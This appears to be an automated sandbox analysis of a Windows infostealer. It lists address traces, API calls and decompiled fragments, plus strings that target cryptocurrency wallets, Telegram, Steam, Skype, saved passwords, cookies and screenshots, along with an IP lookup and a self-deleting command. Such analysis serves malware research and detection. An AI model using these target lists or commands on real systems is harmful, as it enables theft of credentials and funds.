0x004186fb
0x00418707
0x0041870c
0x00418717
0x00418722
0x00418729
0x00418734
0x00418735
0x00418751
0x00418753
0x00418756
0x00418764
0x0041965c
0x0041965e
0x00419661
0x00419664
0x0041966f
0x0041967f
0x0041968a
0x0041969a
0x004196aa
0x004196b5
0x004196c5
0x004196d0
0x004196e0
0x004196eb
0x004196fb
0x00419706
0x00419716
0x00419721
0x00419731
0x0041973c
0x0041974c
0x00419757
0x00419767
0x00419772
0x00419782
0x00419792
0x0041979d
0x004197ad
0x004197b8
0x004197c8
0x004197d3
0x004197e3
0x004197ee
0x004197fe
0x0041980e
0x00419816
0x0041981e
0x00419829
0x00419836
0x0041983e
0x0041984b
0x0041985d
0x0041985d
0x00418772
0x00418784
0x00418792
0x004187a0
0x004187ab
0x004187bc
0x004187cf
0x004187df
0x004187f0
0x00418800
0x0041880d
0x00418812
0x00000000
0x00000000
0x00418820
0x00418825
0x00000000
0x00000000
0x0041883f
0x0041884d
0x00418866
0x00418874
0x00418884
0x00418890
0x0041889d
0x004188a8
0x004188ae
0x004188b9
0x004188c1
0x004188c8
0x004188d7
0x004188da
0x00418fb5
0x00418fb5
0x00418fb5
0x00418fb8
0x00418fc3
0x00418fc8
0x00418fd9
0x00418fe9
0x00418ff4
0x00419005
0x0041900a
0x00419010
0x0041901b
0x0041902c
0x00419031
0x00419037
0x00419042
0x00419053
0x00419064
0x00419069
0x0041906f
0x0041907a
0x0041908b
0x0041909c
0x004190a1
0x004190a7
0x004190b2
0x004190c3
0x004190d4
0x004190d9
0x004190df
0x004190ea
0x004190fb
0x0041910c
0x00419111
0x00419117
0x00419122
0x00419129
0x0041913a
0x0041914b
0x00419150
0x00419156
0x00419161
0x00419168
0x00419179
0x0041918a
0x0041918f
0x00419195
0x004191a0
0x004191a7
0x004191b8
0x004191c9
0x004191ce
0x004191d4
0x004191df
0x004191e6
0x004191f7
0x00419208
0x0041920d
0x00419213
0x00419221
0x00419226
0x0041922c
0x00419237
0x00419248
0x0041924d
0x0041925b
0x00419260
0x00419265
0x0041926a
0x0041926c
0x00419271
0x00419274
0x00419279
0x0041927e
0x00419280
0x00419285
0x0041928a
0x0041928f
0x00419294
0x00419296
0x004192a1
0x004192a6
0x004192ac
0x004192b1
0x004192b6
0x004192b8
0x004192bd
0x004192c2
0x004192c7
0x004192cc
0x004192ce
0x004192d9
0x004192de
0x004192e4
0x004192e9
0x004192ee
0x004192f0
0x004192f5
0x004192fa
0x004192ff
0x00419304
0x00419306
0x00419311
0x00419316
0x0041931c
0x00419321
0x00419326
0x00419328
0x0041932d
0x0041933a
0x0041933f
0x00419343
0x00419345
0x00419348
0x0041934d
0x00419352
0x00419354
0x00419359
0x0041935c
0x00419361
0x00419364
0x00419369
0x0041936e
0x00419370
0x00419375
0x00419382
0x00419382
0x00419392
0x0041939e
0x004193a6
0x004193af
0x004193b6
0x004193bd
0x004193c5
0x004193ca
0x004193cd
0x004194dd
0x004194dd
0x004194e8
0x004194f8
0x004194fd
0x00419518
0x00419520
0x00419525
0x0041952b
0x0041952f
0x00419542
0x00419547
0x00419551
0x0041955d
0x00419565
0x00419576
0x00419586
0x00419597
0x004195aa
0x004195bb
0x004195cc
0x004195e7
0x004195f7
0x00419605
0x00419616
0x00419627
0x00419637
0x0041963d
0x0041963f
0x0041964c
0x00419653
0x00419657
0x00419657
0x0041952f
0x00000000
0x00419525
0x00419507
0x0041950c
0x00000000
0x00000000
0x0041950e
0x00000000
0x004193d3
0x004193d3
0x004193de
0x004193ed
0x004193f0
0x00000000
0x00000000
0x004193f6
0x004193f7
0x004193f9
0x004193f9
0x00419409
0x0041940e
0x00419411
0x0041941f
0x0041942c
0x0041942f
0x00000000
0x00000000
0x0041943f
0x00419444
0x00000000
0x00000000
0x0041944a
0x00419458
0x0041945d
0x0041946b
0x0041946e
0x004194b1
0x004194b1
0x004194b5
0x004194c2
0x004194d0
0x004194d0
0x00000000
0x004194b5
0x00419470
0x00419471
0x00419478
0x00419487
0x00419492
0x004194a1
0x004194a9
0x00000000
0x00000000
0x004194ab
0x004194ae
0x004194af
0x00000000
0x00000000
0x00000000
0x004194af
0x00000000
0x004194d5
0x004194d5
0x004194d6
0x004194d6
0x004194d6
0x00000000
0x004193f9
0x004188e0
0x004188e0
0x004188e1
0x004188e3
0x004188f1
0x00000000
0x00000000
0x004188f9
0x00418b3e
0x00418b3e
0x00418b44
0x00418b47
0x00418ed1
0x00418eda
0x00418edc
0x00418ee2
0x00418ee5
0x00418eed
0x00418ef2
0x00418ef2
0x00418efd
0x00418f00
0x00418f06
0x00418f14
0x00418f24
0x00418f29
0x00418fa3
0x00418fa8
0x00418f2b
0x00418f2b
0x00418f3f
0x00418f55
0x00418f5e
0x00418f6b
0x00418f70
0x00418f73
0x00418f78
0x00418f86
0x00418f91
0x00418f96
0x00418f96
0x00418f29
0x00000000
0x00418f00
0x00418b5b
0x00418b69
0x00418b7c
0x00418dfa
0x00418e05
0x00418e12
0x00418e22
0x00418e36
0x00418e42
0x00418e47
0x00418e47
0x00418e4a
0x00418e4b
0x00418e4d
0x00418e55
0x00418e58
0x00418e68
0x00418e79
0x00418e84
0x00418e91
0x00418e9c
0x00418eae
0x00418ebf
0x00418eca
0x00418ecb
0x00418ecc
0x00000000
0x00418ecc
0x00418b86
0x00418b8b
0x00418b93
0x00418b9e
0x00418b9f
0x00418ba4
0x00418baf
0x00000000
0x00000000
0x00418bb5
0x00418de0
0x00418bc1
0x00418bd0
0x00418be1
0x00418bec
0x00418bef
0x00418bf4
0x00418bf6
0x00418c02
0x00418c0b
0x00418c16
0x00418c17
0x00418c1c
0x00418c2f
0x00418c40
0x00418c4b
0x00418c55
0x00418c60
0x00418c61
0x00418c62
0x00418c70
0x00418c78
0x00418c80
0x00418c83
0x00418c88
0x00418c93
0x00418ca8
0x00418cba
0x00418cca
0x00418cd8
0x00418ce6
0x00418cf7
0x00418d05
0x00418d16
0x00418d21
0x00418d2e
0x00418d3e
0x00418d52
0x00418d5e
0x00418d63
0x00418d63
0x00418d66
0x00418d67
0x00418d77
0x00418d88
0x00418d93
0x00418da0
0x00418dab
0x00418dba
0x00418dcb
0x00418dd6
0x00418dd7
0x00418dd8
0x00418dd8
0x00418ddd
0x00418ddd
0x00418ddd
0x00000000
0x004188ff
0x00418902
0x00418905
0x00418909
0x0041890b
0x00418916
0x00418921
0x00418926
0x00418926
0x00418935
0x00418937
0x00418942
0x0041894d
0x00418953
0x00418955
0x00418955
0x00418964
0x00418966
0x00418966
0x00418975
0x00418980
0x004189a1
0x004189a6
0x004189ac
0x004189ca
0x004189cf
0x004189d5
0x004189f3
0x004189f8
0x004189fe
0x00418a1c
0x00418a23
0x00418a25
0x00418a2a
0x00418a2a
0x00418a48
0x00418a4f
0x00418a51
0x00418a56
0x00418a56
0x00418a65
0x00418a6a
0x00418a74
0x00418a7b
0x00418a7d
0x00418a82
0x00418a82
0x00418a84
0x00418a89
0x00418a8c
0x00418a93
0x00418a93
0x00418a8c
0x00418aa2
0x00418aa9
0x00418aa9
0x00418ab8
0x00418ac7
0x00418acc
0x00418ad6
0x00418ad6
0x00418ae5
0x00418aec
0x00418aec
0x00418afb
0x00418afd
0x00418aff
0x00418b01
0x00418b09
0x00418b11
0x00418b14
0x00418b19
0x00418b1b
0x00418b1c
0x00418b21
0x00418b29
0x00418b29
0x00418b38
0x00418b3a
0x00418b3a
0x00000000
0x00418b38
0x00418fad
0x00418fad
0x00418fae
0x00418fae
0x00418fae
0x00000000
0x004188e3

APIs

CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 00418751

Part of subcall function 00409668: CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?), ref: 004096BF
Part of subcall function 00409668: CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6), ref: 0040970D
Part of subcall function 00409668: SetCurrentDirectoryW.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?,00000000), ref: 00409741
Part of subcall function 00409668: LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?), ref: 00409762
Part of subcall function 00409668: GetProcAddress.KERNEL32(00000000,00000000), ref: 00409782
Part of subcall function 00409668: GetProcAddress.KERNEL32(00000000,00000000), ref: 0040979C

GetSystemMetrics.USER32(00000001), ref: 00418B0C
GetSystemMetrics.USER32(00000000), ref: 00418B14

Part of subcall function 00414808: FindFirstFileW.KERNEL32(00000000,?,00000000,004149E5,?,?,00000000,?,00418AAE,?,?,?,00000000), ref: 0041489B

ExitProcess.KERNEL32(00000000), ref: 00419657

Strings

/c %WINDIR%\system32\timeout.exe 3 & del ", xrefs: 00419592
</pwds, xrefs: 004192AC
</ip, xrefs: 00419364
D877F783D5*,map*, xrefs: 00418ACC
</info, xrefs: 00419274
mbhd.wallet.aes,mbhd.checkpoints,mbhd.spvchain,mbhd.yaml, xrefs: 00418A6A
Coins\Exodus, xrefs: 00418A0D
<c>, xrefs: 0041883A
%APPDATA%\Ethereum\keystore\, xrefs: 004189EE
Telegram, xrefs: 00418AC7
%DSK_, xrefs: 00418B71, 00418B8E, 00418C17
%appdata%\Electrum\wallets\, xrefs: 0041899C
PasswordsList.txt, xrefs: 00418921
Coins\Electrum-LTC, xrefs: 004189BB
<d>, xrefs: 00418898
*.json,*.seco, xrefs: 00418A12
</file, xrefs: 0041931C
image/jpeg, xrefs: 00418B01
%appdata%\Telegram Desktop\tdata\, xrefs: 00418AD1
<n>, xrefs: 00418861
<P@, xrefs: 0041926A, 0041927E, 00419294, 004192B6, 004192CC, 004192EE, 00419304, 00419326, 00419352, 0041936E
System.txt, xrefs: 00418FE4
T_@, xrefs: 00419403, 0041981E
</d>, xrefs: 00418890
<, xrefs: 00419547
Files\, xrefs: 00418D72, 00418E4D
Coins\Jaxx\Local Storage\, xrefs: 00418A39
Coins\Ethereum, xrefs: 004189E4
UTC*, xrefs: 004189E9
++++, xrefs: 00418FB5
Coins\Electrum, xrefs: 00418992
Coins\MultiBitHD, xrefs: 00418A65
</coks, xrefs: 004192E4
<pwds, xrefs: 0041928A
%APPDATA%\Jaxx\Local Storage\, xrefs: 00418A43
scr.jpg, xrefs: 00418B21
</n>, xrefs: 00418859
<coks, xrefs: 004192C2
Skype, xrefs: 00418AA4
%APPDATA%\Exodus\, xrefs: 00418A17
Steam, xrefs: 00418AE7
%comspec%, xrefs: 00419571
ip.txt, xrefs: 00418F91, 00418FA3
</c>, xrefs: 00418832
"query":", xrefs: 00418F50
exit, xrefs: 0041881B
"countryCode":", xrefs: 00418F66
Coins, xrefs: 0041897B
%APPDATA%\MultiBitHD\, xrefs: 00418A6F
<ip, xrefs: 00419348
http://ip-api.com/json, xrefs: 00418F3A
<info, xrefs: 00419260
%appdata%\Electrum-LTC\wallets\, xrefs: 004189C5
GET, xrefs: 00418F33
<file, xrefs: 004192FA

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateDirectory$AddressMetricsProcSystem$CurrentExitFileFindFirstLibraryLoadMutexProcess
String ID: "countryCode":"$"query":"$%APPDATA%\Ethereum\keystore\$%APPDATA%\Exodus\$%APPDATA%\Jaxx\Local Storage\$%APPDATA%\MultiBitHD\$%DSK_$%appdata%\Electrum-LTC\wallets\$%appdata%\Electrum\wallets\$%appdata%\Telegram Desktop\tdata\$%comspec%$*.json,*.seco$++++$/c %WINDIR%\system32\timeout.exe 3 & del "$<$</c>$</coks$</d>$</file$</info$</ip$</n>$</pwds$<P@$<c>$<coks$<d>$<file$<info$<ip$<n>$<pwds$Coins$Coins\Electrum$Coins\Electrum-LTC$Coins\Ethereum$Coins\Exodus$Coins\Jaxx\Local Storage\$Coins\MultiBitHD$D877F783D5*,map*$Files\$GET$PasswordsList.txt$Skype$Steam$System.txt$T_@$Telegram$UTC*$exit$http://ip-api.com/json$image/jpeg$ip.txt$mbhd.wallet.aes,mbhd.checkpoints,mbhd.spvchain,mbhd.yaml$scr.jpg
API String ID: 97207332-212252816
Opcode ID: b321d38726414e46428e5e0fe4f125c75fdc49b99638de989c1bde8305550118
Instruction ID: 12fbeab09d86b4d4d3426c2dede24d6d64c59345960e79b613594a42cd3754e1
Opcode Fuzzy Hash: b321d38726414e46428e5e0fe4f125c75fdc49b99638de989c1bde8305550118
Instruction Fuzzy Hash: 91A21A34A002199BDB10EB55DC91BDEB7B5EF49304F5080BBF408BB291DB78AE858F59

Uniqueness

Uniqueness Score: -1.00%

Function 004148A0, Relevance: 104.0, APIs: 69, Instructions: 468fileCOMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,00401406), ref: 004148E0
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,00401406), ref: 004148E8
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,00000014,00000000,?,?,?,?,?,?,?,?,00401406), ref: 004148FC
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414924
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 0041492E
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 0041493D
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414966
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 0041496A
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414973
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 0041499C
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004149A0
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004149A9
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004149D2
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004149D6
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004149DF
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A08
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A0C
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A15
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A3E
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A42
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A4B
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A74
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A78
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A81
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414AAA
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414AAE
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414AB7
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414AE0
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414AE4
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414AED
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B16
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B1A
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B23
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B4C
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B50
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B59
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B82
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B86
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B8F
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414BB8
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414BBC
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414BC5
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414BEE
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414BF2
FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414BFB
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C24
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C28
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C31
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C5A
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C5E
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C67
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C90
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C94
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C9D
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414CC6
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414CCA
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414CD3
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414CFC
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D00
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D09
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D32
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D36
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D3F
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D68
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D6C
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D75
__vbaFreeStr.MSVBVM60(00414DA9), ref: 00414D95
__vbaFreeStr.MSVBVM60 ref: 00414D9A
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00414DA2

Memory Dump Source

Source File: 0000000C.00000001.382378226.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __vba$BoundsErrorGenerate$CopyFree$DestructFileFindFirstRedim
String ID:
API String ID: 2855160041-0
Opcode ID: e855e5a916144d401dc2d1b1d9344ebb6b77fc3319cd07078f33cb78ad9b67f9
Instruction ID: 233b815b32d1be5b4fb8262dd517ac223b360761b11e729dcaa38567a181de36
Opcode Fuzzy Hash: e855e5a916144d401dc2d1b1d9344ebb6b77fc3319cd07078f33cb78ad9b67f9
Instruction Fuzzy Hash: C2026435A002258FCB14DF69D990ADEB7B5BFC8310F1641AAC80567391DA79DCC1CBB9

Uniqueness

Uniqueness Score: -1.00%

Function 00417216, Relevance: 57.8, APIs: 20, Strings: 13, Instructions: 64
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00417216() {
				void* _t1;
				struct HINSTANCE__* _t2;
				struct HINSTANCE__* _t4;
				_Unknown_base(*)()* _t21;

				 *0x41cb2c =  *0x41cb2c - 1;
				if( *0x41cb2c < 0) {
					_t2 = LoadLibraryA("crtdll.dll"); // executed
					 *0x41cb04 = GetProcAddress(_t2, "wcscmp");
					_t4 = LoadLibraryA("Gdiplus.dll"); // executed
					 *0x41cb08 = GetProcAddress(_t4, "GdiplusStartup");
					 *0x41cb0c = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdiplusShutdown");
					 *0x41cb10 = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdipCreateBitmapFromHBITMAP");
					 *0x41cb14 = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdipGetImageEncodersSize");
					 *0x41cb18 = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdipGetImageEncoders");
					 *0x41cb1c = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdipDisposeImage");
					 *0x41cb20 = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdipSaveImageToStream");
					 *0x41cb24 = GetProcAddress(LoadLibraryA("ole32.dll"), "CreateStreamOnHGlobal");
					_t21 = GetProcAddress(LoadLibraryA("ole32.dll"), "GetHGlobalFromStream");
					 *0x41cb28 = _t21;
					return _t21;
				}
				return _t1;
			}

0x00417218
0x0041721f
0x0041722f
0x0041723a
0x00417249
0x00417254
0x0041726e
0x00417288
0x004172a2
0x004172bc
0x004172d6
0x004172f0
0x0041730a
0x0041731f
0x00417324
0x00000000
0x00417324
0x00417329

APIs

LoadLibraryA.KERNEL32(crtdll.dll,wcscmp), ref: 0041722F
GetProcAddress.KERNEL32(00000000,crtdll.dll), ref: 00417235
LoadLibraryA.KERNEL32(Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 00417249
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 0041724F
LoadLibraryA.KERNEL32(Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 00417263
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417269
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 0041727D
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417283
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 00417297
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 0041729D
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll), ref: 004172B1
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 004172B7
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll), ref: 004172CB
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 004172D1
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipSaveImageToStream,00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll), ref: 004172E5
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 004172EB
LoadLibraryA.KERNEL32(ole32.dll,CreateStreamOnHGlobal,00000000,Gdiplus.dll,GdipSaveImageToStream,00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll), ref: 004172FF
GetProcAddress.KERNEL32(00000000,ole32.dll), ref: 00417305
LoadLibraryA.KERNEL32(ole32.dll,GetHGlobalFromStream,00000000,ole32.dll,CreateStreamOnHGlobal,00000000,Gdiplus.dll,GdipSaveImageToStream,00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll), ref: 00417319
GetProcAddress.KERNEL32(00000000,ole32.dll), ref: 0041731F

Strings

crtdll.dll, xrefs: 0041722A
Gdiplus.dll, xrefs: 00417244, 0041725E, 00417278, 00417292, 004172AC, 004172C6, 004172E0
GdipSaveImageToStream, xrefs: 004172DB
GetHGlobalFromStream, xrefs: 0041730F
ole32.dll, xrefs: 004172FA, 00417314
wcscmp, xrefs: 00417225
GdiplusStartup, xrefs: 0041723F
GdipGetImageEncoders, xrefs: 004172A7
GdipGetImageEncodersSize, xrefs: 0041728D
GdipCreateBitmapFromHBITMAP, xrefs: 00417273
CreateStreamOnHGlobal, xrefs: 004172F5
GdipDisposeImage, xrefs: 004172C1
GdiplusShutdown, xrefs: 00417259

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: CreateStreamOnHGlobal$GdipCreateBitmapFromHBITMAP$GdipDisposeImage$GdipGetImageEncoders$GdipGetImageEncodersSize$GdipSaveImageToStream$Gdiplus.dll$GdiplusShutdown$GdiplusStartup$GetHGlobalFromStream$crtdll.dll$ole32.dll$wcscmp
API String ID: 2574300362-2815069134
Opcode ID: 3bc6c4118995df7160033985ba2e072cd86b9b17629d2e708302bb0f3277f80d
Instruction ID: 88d1ed536910c73cd15d425763909c73792c0e606fd49294d8ff60234fce0fcb
Opcode Fuzzy Hash: 3bc6c4118995df7160033985ba2e072cd86b9b17629d2e708302bb0f3277f80d
Instruction Fuzzy Hash: BD11EDF16D8304B5C60077F2FD47ADA26657645709361453BBE10B20E2D57C6881A69D

Uniqueness

Uniqueness Score: -1.00%

Function 00417D84, Relevance: 35.4, APIs: 14, Strings: 6, Instructions: 375
libraryloadernetworkCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00417D84(intOrPtr __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				_Unknown_base(*)()* _v20;
				_Unknown_base(*)()* _v24;
				_Unknown_base(*)()* _v28;
				_Unknown_base(*)()* _v32;
				_Unknown_base(*)()* _v36;
				_Unknown_base(*)()* _v40;
				_Unknown_base(*)()* _v44;
				_Unknown_base(*)()* _v48;
				char _v52;
				char _v56;
				long _v60;
				void* _v64;
				void* _v68;
				int _v72;
				char _v73;
				signed int _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v132;
				char _v388;
				char _v516;
				char _v644;
				char _v2692;
				char _v3716;
				char _v3776;
				void _v69412;
				char _v69416;
				char _v69420;
				char _v69424;
				char _v69428;
				char _v69432;
				char _v69436;
				char _v69440;
				void* __ecx;
				long _t290;
				void* _t304;
				struct HINSTANCE__* _t326;
				void* _t327;
				intOrPtr _t329;
				intOrPtr _t353;
				void* _t362;
				intOrPtr* _t373;
				intOrPtr* _t375;
				intOrPtr _t377;
				intOrPtr _t378;
				char _t393;

				_t377 = _t378;
				_t329 = 0x21e7;
				do {
					_push(0);
					_push(0);
					_t329 = _t329 - 1;
